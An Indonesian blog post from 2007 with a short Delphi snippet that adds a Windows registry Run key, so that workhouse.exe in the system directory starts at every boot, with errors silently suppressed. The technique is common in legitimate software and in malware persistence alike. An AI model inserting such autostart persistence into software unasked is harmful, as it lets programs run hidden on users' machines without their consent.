Showing posts with label semua. Show all posts
Showing posts with label semua. Show all posts

Wednesday, November 28, 2007

Menulis Key pada Registry pake script pascal di Delphi

obegin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg1.WriteString('muchlis',sysdir+'\workhouse.exe');
reg1.CloseKey;
except
end;

jadi pake 'try' biar klo gagal program ga error,kita niat nulis key ini di '
Software\Microsoft\Windows\CurrentVersion\Run' dengan nama key sembarang,dsini saya pake nama 'muchlis',dengan nama file yg akan diload oleh 'Run' yaitu workhouse.exe...
udah,gtu doank,,kasih komen aj ke aq klo bingung..